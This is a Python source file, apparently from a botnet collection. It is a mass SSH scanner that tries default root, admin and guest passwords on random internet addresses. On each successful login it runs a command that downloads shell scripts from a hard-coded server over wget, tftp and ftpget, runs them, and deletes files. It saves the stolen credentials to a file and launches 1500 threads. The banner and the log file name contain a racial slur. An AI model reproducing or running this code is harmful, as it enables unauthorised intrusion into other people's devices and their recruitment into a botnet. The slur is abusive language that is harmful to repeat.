Path: blob/master/Botnets/Scanning/AUTOSCANNER/Scan_2.py
5038 views
#!/usr/bin/env python1# -*- coding: utf-8 -*-2import threading, paramiko, random, socket, time, sys34paramiko.util.log_to_file("/dev/null")56cmd='cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://199.180.133.200/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 199.180.133.200 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 199.180.133.200; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 199.180.133.200 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *'78#cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://199.180.133.200/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 198.167.140.22 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 199.180.133.200; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 199.180.133.200 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *'9#cmd='cd /tmp; rm -rf *; wget -q http://199.180.133.200/Bots/Bots.sh; sh Bots.sh; rm -rf Bots.sh'10blacklist = [11'127'12]1314passwords = [15"admin:admin"16]1718if sys.argv[4] == '1':19passwords = ["root:root"]20if sys.argv[4] == '2':21passwords = ["guest:guest"]22if sys.argv[4] == '3':23passwords = ["admin:1234"]24if sys.argv[4] == '4':25passwords = ["admin:admin"]2627ascii = '\x1b[1;36m'28ascii +=' ¦¦¦¦¦¦¦+ ¦¦¦¦¦¦+ ¦¦¦¦¦+ ¦¦¦+ ¦¦+ \r\n'#29ascii +=' ¦¦+----+¦¦+----+¦¦+--¦¦+¦¦¦¦+ ¦¦¦ \r\n'#30ascii +=' ¦¦¦¦¦¦¦+¦¦¦ ¦¦¦¦¦¦¦¦¦¦+¦¦+ ¦¦¦ \r\n'#31ascii +=' +----¦¦¦¦¦¦ ¦¦+--¦¦¦¦¦¦+¦¦+¦¦¦ \r\n'#32ascii +=' ¦¦¦¦¦¦¦¦+¦¦¦¦¦¦+¦¦¦ ¦¦¦¦¦¦ +¦¦¦¦¦ \r\n'#33ascii +=' +------+ +-----++-+ +-++-+ +---+ \r\n'#34ascii +=' ~ [ Scan Shit Nigga ] ~ \r\n'#35ascii +=' ~ Migrating Net ~ \r\n'#36ascii +='\x1b[36m'##############################################################################37#BANNER IDEA FROM ZONE HAX38print ''39print ''40print ''41print ''42print ''43print ''44print ''45print ''46print ''47print ''48print ''49print ''50print ''51print ''52print ''53print ''54print ''55print ''56print ''57print ''58print ''59print ''60print ''61print ''62print ''63print ''64print ''65print ''66print ''67print ''68print ''69print ''70print ''71print ''72print ''73print ''74print ''75print ''76print ''77print ''78print ''79print ''80print ''81print ''82print ''83print ''84print ''85print ''86print ascii87print '\x1b[36m *Make Sure You Changed The ulimit*\x1b[0m'88print ''89print '\x1b[36m Usage: python file.py 500 Type Pass\x1b[0m'90print '\x1b[36m Type: LUCKY, LUCKY2, A or B\x1b[0m'91print '\x1b[36m Pass: 1, 2, 3, perl, all\x1b[0m'92print '\x1b[36m Scanner Started\x1b[0m'93print '\x1b[36m Migrating Runz Shit\x1b[0m'94print ''95print ''9697ipclassinfo = sys.argv[2]98if ipclassinfo == "A":99ip1 = sys.argv[3]100elif ipclassinfo == "B":101ip1 = sys.argv[3].split(".")[0]102ip2 = sys.argv[3].split(".")[1]103elif ipclassinfo == "C":104ips = sys.argv[3].split(".")105num=0106for ip in ips:107num=num+1108if num == 1:109ip1 = ip110elif num == 2:111ip2 = ip112elif num == 3:113ip3 = ip114class sshscanner(threading.Thread):115global passwords116global ipclassinfo117if ipclassinfo == "A":118global ip1119elif ipclassinfo == "B":120global ip1121global ip2122elif ipclassinfo == "C":123global ip1124global ip2125global ip3126def run(self):127while 1:128try:129while 1:130thisipisbad='no'131if ipclassinfo == "A":132self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))133elif ipclassinfo == "B":134self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))135elif ipclassinfo == "C":136self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))137elif ipclassinfo == "BRAZIL":138br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]139self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))140elif ipclassinfo == "ER":141yeet = ["122","131","161","37","186","187","31","188","201","2","200"]142self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))143elif ipclassinfo == "LUCKY":144lucky = ["125.27","101.109","113.53","118.173","122.170","122.180","46.62","5.78","101.108","1.20","125.25","125.26","182.52","118.172","118.174","118.175","125.24"]145self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))146elif ipclassinfo == "LUCKY2":147lucky2 = [ "122.3","122.52","122.54","119.93","124.105","124.105" ]148self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))149elif ipclassinfo == "LUCKY3":150lucky2 = [ "103.20","103.30","103.47","103.57" ]151self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))152elif ipclassinfo == "RAND":153self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))154elif ipclassinfo == "INTERNET":155lol = ["1"]156self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))157else:158self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))159for badip in blacklist:160if badip in self.host:161thisipisbad='yes'162if thisipisbad=='no':163break164username='root'165password=""166port = 22167s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)168s.settimeout(3)169s.connect((self.host, port))170s.close()171ssh = paramiko.SSHClient()172ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())173dobreak=False174for passwd in passwords:175if ":n/a" in passwd:176password=""177else:178password=passwd.split(":")[1]179if "n/a:" in passwd:180username=""181else:182username=passwd.split(":")[0]183try:184ssh.connect(self.host, port = port, username=username, password=password, timeout=3)185dobreak=True186break187except:188pass189if True == dobreak:190break191badserver=True192stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")193output = stdout.read()194if "inet addr" in output:195badserver=False196if badserver == False:197print '\x1b[36mBot(s) From Migrating Net Found: \x1b[37m'+self.host+'|'+username+'|'+password198ssh.exec_command(""+cmd+"")199scanned = open("nigga.txt", "a").write(username + ":" + password + ":" + self.host + "\n")200time.sleep(15)201ssh.close()202except:203pass204205for x in range(0,1500):206try:207t = sshscanner()208t.start()209except:210pass211212